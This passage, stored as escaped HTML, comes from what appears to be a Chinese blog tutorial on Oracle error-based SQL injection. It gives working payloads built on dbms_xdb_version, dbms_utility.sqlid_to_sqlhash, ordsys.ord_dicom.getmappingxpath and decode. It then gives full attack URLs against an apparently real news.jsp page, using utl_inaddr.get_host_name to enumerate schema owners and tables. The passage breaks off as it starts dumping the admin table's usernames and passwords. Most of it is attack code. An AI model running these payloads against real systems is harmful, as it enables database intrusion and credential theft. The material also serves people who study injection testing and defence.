Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: 14pt; line-height: inherit; box-sizing: inherit;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; color: #FF0000;&quot;&gt;bms_xdb_version.makeversioned&lt;/span&gt;()进报错注入&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; border: 1px solid rgb(204, 204, 204); background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; background-color: rgb(245, 245, 245); overflow: auto; white-space: normal; font-size: 12px !important; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; border: none; background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;and&amp;nbsp;(select&amp;nbsp;dbms_xdb_version.makeversioned((select&amp;nbsp;user&amp;nbsp;from&amp;nbsp;dual))&amp;nbsp;from&amp;nbsp;dual)&amp;nbsp;is&amp;nbsp;not&amp;nbsp;null&amp;nbsp;--&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: 14pt; line-height: inherit; box-sizing: inherit;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; color: #FF0000;&quot;&gt;dbms_xdb_version.uncheckout&lt;/span&gt;()进行报错注入&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; border: 1px solid rgb(204, 204, 204); background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; background-color: rgb(245, 245, 245); overflow: auto; white-space: normal; font-size: 12px !important; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; border: none; background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;and&amp;nbsp;(select&amp;nbsp;dbms_xdb_version.uncheckout((select&amp;nbsp;user&amp;nbsp;from&amp;nbsp;dual))&amp;nbsp;from&amp;nbsp;dual)&amp;nbsp;is&amp;nbsp;not&amp;nbsp;null&amp;nbsp;--&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; color: #FF0000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: 14pt; line-height: inherit; box-sizing: inherit;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; color: #FF0000;&quot;&gt;dbms_utility.sqlid_to_sqlhash&lt;/span&gt;()进行报错注入&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; border: 1px solid rgb(204, 204, 204); background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; background-color: rgb(245, 245, 245); overflow: auto; white-space: normal; font-size: 12px !important; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; border: none; background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;and&amp;nbsp;(SELECT&amp;nbsp;dbms_utility.sqlid_to_sqlhash((select&amp;nbsp;user&amp;nbsp;from&amp;nbsp;dual))&amp;nbsp;from&amp;nbsp;dual)&amp;nbsp;is&amp;nbsp;not&amp;nbsp;null&amp;nbsp;--&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: 14pt; line-height: inherit; box-sizing: inherit;&quot;&gt;&amp;nbsp;&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; color: #FF0000;&quot;&gt;ordsys.ord_dicom.getmappingxpath&lt;/span&gt;()进行报错注入&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; border: 1px solid rgb(204, 204, 204); background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; background-color: rgb(245, 245, 245); overflow: auto; white-space: normal; font-size: 12px !important; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; border: none; background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;and&amp;nbsp;1=ordsys.ord_dicom.getmappingxpath((select&amp;nbsp;user&amp;nbsp;from&amp;nbsp;dual),user,user)--&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: 14pt; line-height: inherit; box-sizing: inherit;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; color: #FF0000;&quot;&gt;decode&lt;/span&gt;进行报错注入&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;这种方式更偏向&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; color: #FF0000;&quot;&gt;布尔型注入&lt;/span&gt;，因为这种方式并不会通过报错把查询结果回显回来，仅是用来作为页面的表现不同的判断方法。&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; border: 1px solid rgb(204, 204, 204); background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; background-color: rgb(245, 245, 245); overflow: auto; white-space: normal; font-size: 12px !important; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; border: none; background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;and&amp;nbsp;1=(select&amp;nbsp;decode(substr(user,1,1),&amp;#39;S&amp;#39;,(1/0),0)&amp;nbsp;from&amp;nbsp;dual)&amp;nbsp;--&lt;/pre&gt;&lt;/div&gt;&lt;hr style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;/&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;div style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255); text-align: right;&quot;&gt;&lt;a href=&quot;https://www.cnblogs.com/-qing-/p/10949562.html#_labelTop&quot; style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; text-decoration-line: none; color: rgb(102, 178, 255); transition: all 0.2s ease 0s;&quot;&gt;回到顶部(go to top)&lt;/a&gt;&lt;a name=&quot;_label2&quot; style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; color: rgb(102, 178, 255); transition: all 0.2s ease 0s;&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;h2 style=&quot;margin: 20px 0px 10px; padding: 0px; border-top: none; border-right: none; border-bottom: 1px solid rgb(238, 238, 238); border-left: none; border-image: initial; background-repeat: no-repeat; font-size: 28pt; line-height: 1.5; box-sizing: inherit; font-family: Calibri, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, Arial, sans-serif; color: rgb(51, 51, 51); white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;0x02&amp;nbsp;报错函数注入数据&lt;/h2&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;Oracle 数据库的注入不同于其他数据库，如Access 和Mysql，它包含了几个&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; color: #FF0000;&quot;&gt;系统表&lt;/span&gt;，这几个&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; color: #FF0000;&quot;&gt;系统表&lt;/span&gt;里存储了系统数据库的表名和列名，如&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; color: #FF0000;&quot;&gt;user_tab_columns，all_tab_columns，all_tables，user_tables&lt;/span&gt;&amp;nbsp;系统表就存储了用户的所有的表、列名，其中&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; color: #FF0000;&quot;&gt;table_name&lt;/span&gt;&amp;nbsp;表示的是系统里的表名，&lt;span style=&quot;margin: 0px; padding: 0px; border: none; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; color: #FF0000;&quot;&gt;column_name&lt;/span&gt;&amp;nbsp;里的是系统里存在的列名&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;爆库&amp;nbsp;第一行记录&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; border: 1px solid rgb(204, 204, 204); background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; background-color: rgb(245, 245, 245); overflow: auto; white-space: normal; font-size: 12px !important; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; border: none; background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;http://www.jsporcle.com/news.jsp?id=1&amp;nbsp;and&amp;nbsp;1=utl_inaddr.get_host_name((select&amp;nbsp;(SELECT&amp;nbsp;DISTINCT&amp;nbsp;owner&amp;nbsp;FROM&amp;nbsp;all_tables&amp;nbsp;where&amp;nbsp;rownum=1)&amp;nbsp;from&amp;nbsp;dual))--&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/1590139625139210.png&quot; alt=&quot;&quot; style=&quot;margin: 0px 0px 10px; padding: 0px; border: 0px; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; vertical-align: middle; height: auto; max-width: 100%; border-radius: 5px; box-shadow: rgba(0, 0, 2, 0.2) 0px 2px 2px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;爆表&amp;nbsp;第一行第一个记录&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; border: 1px solid rgb(204, 204, 204); background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; background-color: rgb(245, 245, 245); overflow: auto; white-space: normal; font-size: 12px !important; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; border: none; background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;http://www.jsporcle.com/news.jsp?id=1&amp;nbsp;and&amp;nbsp;1=utl_inaddr.get_host_name((select&amp;nbsp;table_name&amp;nbsp;from&amp;nbsp;user_tables&amp;nbsp;where&amp;nbsp;rownum=1))&amp;nbsp;--&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/1590139626815046.png&quot; alt=&quot;&quot; style=&quot;margin: 0px 0px 10px; padding: 0px; border: 0px; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; vertical-align: middle; height: auto; max-width: 100%; border-radius: 5px; box-shadow: rgba(0, 0, 2, 0.2) 0px 2px 2px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;第二个记录&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; border: 1px solid rgb(204, 204, 204); background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; background-color: rgb(245, 245, 245); overflow: auto; white-space: normal; font-size: 12px !important; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; border: none; background-repeat: no-repeat; line-height: inherit; box-sizing: inherit; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;http://www.jsporcle.com/news.jsp?id=1&amp;nbsp;and&amp;nbsp;1=utl_inaddr.get_host_name((select&amp;nbsp;table_name&amp;nbsp;from&amp;nbsp;user_tables&amp;nbsp;where&amp;nbsp;rownum=1&amp;nbsp;and&amp;nbsp;table_name&amp;nbsp;not&amp;nbsp;in&amp;nbsp;(&amp;#39;LOGMNR_SESSION_EVOLVE$&amp;#39;)))&amp;nbsp;--&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/1590139629552020.png&quot; alt=&quot;&quot; style=&quot;margin: 0px 0px 10px; padding: 0px; border: 0px; background-repeat: no-repeat; font-size: inherit; line-height: inherit; box-sizing: inherit; vertical-align: middle; height: auto; max-width: 100%; border-radius: 5px; box-shadow: rgba(0, 0, 2, 0.2) 0px 2px 2px;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; border: none; background-repeat: no-repeat; font-size: medium; line-height: inherit; box-sizing: inherit; color: rgb(51, 51, 51); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, &amp;quot;Microsoft Yahei&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Source Han Sans&amp;quot;, &amp;quot;PingFang SC&amp;quot;, Arial, &amp;quot;Heiti SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;报错admin表的 用户和密码&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 